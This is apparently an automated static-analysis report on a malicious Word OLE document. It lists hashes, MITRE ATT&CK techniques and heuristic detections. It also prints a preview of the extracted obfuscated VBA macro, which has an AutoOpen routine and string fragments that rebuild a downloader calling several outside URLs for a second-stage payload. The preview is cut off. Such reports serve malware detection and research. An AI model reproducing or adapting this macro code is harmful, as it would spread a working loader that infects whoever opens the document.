Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 30d802076d4397ca…

MALICIOUS

Office (OLE)

114.0 KB Created: 2018-02-09 07:51:00 Authoring application: Microsoft Office Word First seen: 2018-02-19
MD5: 269a67800b5bcded65ab883888e3f4fc SHA-1: ba5e47b915f60171265ebc108a57ffe78ba7f9f0 SHA-256: 30d802076d4397cafc65cd13c880995ab6ec8e1aa9a61a79c70408460c603a0d
302 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing an obfuscated VBA macro with an AutoOpen execution marker. The macro utilizes a Shell() call and is designed to execute a command, strongly suggesting it acts as a downloader for a second-stage payload. The embedded URL is suspicious and likely part of the malicious chain.

Heuristics 8

  • ClamAV: Img.Dropper.PhishingLure-6443153-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Img.Dropper.PhishingLure-6443153-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://0WB+0WBmrXvc+XvcwdCHwzljTFMU In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 28115 bytes
SHA-256: 0af008c883cc5feae13fe52c6a8166a07b1e1d7ba2b469a321d297a0d2d11a32
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "LqqtcnpXN"
Sub AutoOpen()
On Error Resume Next
IItjHHWqQ = (738497 * qXdJEWFzDDWJic * 160010 - kNMWT) + QCBHpEWXLIYZH + Sqr(VMzhjwlH) * (wLDGzldDhiv / 1363119)
bIwhAdfrO = (7181537 * UaoXN * 6070649 - UJJQCwlwZmi) + ruM + Sqr(uEDzjVF) * (XNBifI / 2626298)
PYuKlzKFA = (9114547 * DtJ * 1909904 - OHHtTKfDwEtsp) + DSQYSfzkbVkzC + Sqr(jRLF) * (TnaXPu / 1017319)
Application.Run "lZFUFoiihGosi", GRiZjhOm
sqLjDRQGs = (6881489 * UqiwijmJTIbX * 6371461 - oiVHcvBiNnGYv) + SiwMwi + Sqr(PjWIukFazRTi) * (PmuzPolqcrqG / 7095990)
VqlMOaCCY = (8988170 * wiKvDQVnuHBfnw * 9417706 - szms) + CJOPplCsbl + Sqr(svAhdqnMVDLdU) * (zPRSJ / 414912)
End Sub
Function GRiZjhOm()
On Error Resume Next
wqMWP = (3996302 * EoZFtMqLuiqB * 3003313 - sLdBVAfc) + bHTchaLu + Sqr(MYpawH) * (uoXKXIQt / 7404847)
NJcVEUccmAL = (5321547 * rHpUHcPz * 9599852 - jIljncor) + SMViaLHRBSr + Sqr(qGCUnYrQM) * (BJwKf / 7398333)
kYmkLGECQP = (5339295 * jbCCJLVcOIA * 2119418 - iFztCj) + zEwaWG + Sqr(MiQjV) * (RmQXnwqwLJjQ / 377716)
jaNsCf = tPXNQHij + Mid(GwRJ + "DiiwZvLzPEnhViLqdNgKjV(),'+' ScQ+ScQXvc+Xvc2PqSDC);&(vxp0WB+0WBInScQ+ScQ0WB+0WBvov'+'xp+vxpkvxXvc+Xvc0WB+Xvc+Xvc0WBp'+'+vx0WB+0WBpe-IXvc+XvcteXvc+X'+'vcmvx0WB+0Xvc+XvcWBp)(2PqS'+'D0WB+0WBC);brjmoGhnF" + UjUIK, 14, 179)
XUoPICJAzWi = (1812185 * zCScjLmwIuq * 8084794 - LGljAf) + UKYKzv + Sqr(QQKtMzIwZM) * (QjDfwLCZXjHYo / 1685490)
TPDNzbh = (1531422 * QpiHfkiVfzAiq * 1720145 - jYnkzK) + MMIXXzJsWkED + Sqr(JvFNfBhzAKYjO) * (aAAYIkb / 5526381)
AWISLNXoh = (3368890 * INjMnbQZmRElTa * 999158 - dqLCknJcisVMwT) + jdGFSU + Sqr(MZuwwzR) * (jaTJGkROOUDE / 5896870)
OYQfji = XDwQdDNkbibfCA + Mid(tzciV + "SNwhjZzkzkpa/?h0WB+0WBttpsXScQ+ScQvc+Xvc://www.bl0WB+0WB'+'u0WB+0WBe0WB+0WByac0WB+0WBhtcXvc+X'+'vcha'+'r0WB+0WBte0'+'WB+0WBr.com/DXScQ+ScQvc+XvcIjVX0WB+0WB4U/0WB+0WB'+'v0WBScQ+ScQ+0WBxp0WB+'+'Xvc+Xvc0WB.0XvNPNkpqs" + rpbGFsPouNKUJn, 9, 198)
bdVUwwS = (3198342 * pUcvtiS * 1091214 - jzGfGccrtm) + LLrHVIsWkYO + Sqr(NSSROQR) * (soMGO / 4676338)
iVGmQdzmFU = (6947939 * OIWV * 679608 - IidVZkqwVH) + itMnLOb + Sqr(cqWwkszYj) * (cCsP / 6250099)
iHLobN = (2002652 * ntqhTwTFokiX * 4006564 - uut) + pljtdcMGp + Sqr(FZONCzYUlvIuD) * (wISBOEhHzoqYH / 8873691)
YIuERWh = GEdTBXHNVmdJdm + Mid(mrLK + "XvIr]113+[NMMYdRvzSQaNQCNJpGU" + LutmMfPOrkOPp, 4, 7)
QVGLWaVDM = (4931494 * dsdFXavn * 5612112 - jmBftYIzBWvqT) + vEJVVOCpwurcBU + Sqr(XWHFuQiHfwM) * (wYD / 5238001)
ATkArFD = (7444198 * jJTQaSOq * 8427625 - GnQXoOdznlZj) + wiXJM + Sqr(QsT) * (EUKR / 1365739)
AwNUls = (9306369 * qDYsBrhpNkvE * 7549426 - zAz) + lDICnbzm + Sqr(MCizWCwuVI) * (vnpUwTU / 7812494)
pzwmTSnCD = NUMGazPVR + Mid(VfZIzSv + "wkzwLwOCCDMafnhdnKkzJCDAioQmjzPQhtt0WB+0WBp://0WB+0WBs0WXvc+XvcB+Xvc+Xvc0WBoftedg'+'e0WScQ+ScQB+0WBbScQ+ScQd.com/0WScQ+ScQB+0WB687yc/?0WB+0WBht0WB+0WBtp0WB+0WB://0Sc'+'Q+ScQWB+0WBdulfacoll0WB+0WBScQ+'+'ScQtda.com/rL7jYuDDVV" + nzUJLrlLza, 32, 185)
jzPajkdm = (1340531 * RCBJSGELYji * 4024419 - PjvnszbckT) + frjzpmIi + Sqr(DRkXrV) * (ZjEuUsGomLVOjf / 1269297)
GcEzHDOnwC = (6412524 * iibWHVmYAG * 5862895 - vYvWwBvjZCnkvK) + RuziwkCsNu + Sqr(SLRWUlcrr) * (ZsidLBIcqqb / 9374416)
EiOSdY = (8230971 * dCYhNtf * 6620042 - VjkODhBID) + ssCOElj + Sqr(QWEAVUzsRMudz) * (qQMu / 5218482)
YiGJDdHkO = EFUNuVtjoQw + Mid(OIUmjmYBoGdsc + "zLVLdXlqoGKvaNtlqBcCdtsEdpviKXRepL'+'aCE(Xvc7NZkYm" + wNoETGIGi, 31, 16)
htzPIql = (7224790 * JKw * 7872363 - hXcsVUQ) + swzwrfurh + Sqr(VtiAT) * (INbpmKliKtizsV / 8853445)
CNqDZOW = (9226971 * nvPaWtWrKczav * 8382267 - DijItbriNR) + zAvwLRZzqEEY + Sqr(TFwcimHPCww) * (llCTwN / 360105)
avcJqbEJLsV = (1648109 * vVwLQhAwAbw * 1147380 - oocOAaJYvBwkaf) + furCPCYj + Sqr(QRE) * (SBWz / 1682149)
jaruKt = EuphYdwcboUv + Mid(zPLWVNPQL + "bElikvfsZKibbCJYMjoScQ+ScQqdO0WB+0WBadFILqdleKjXvc+XvcV(20WBScQ+ScQ+0WBPq0WB+0WB
... (truncated)

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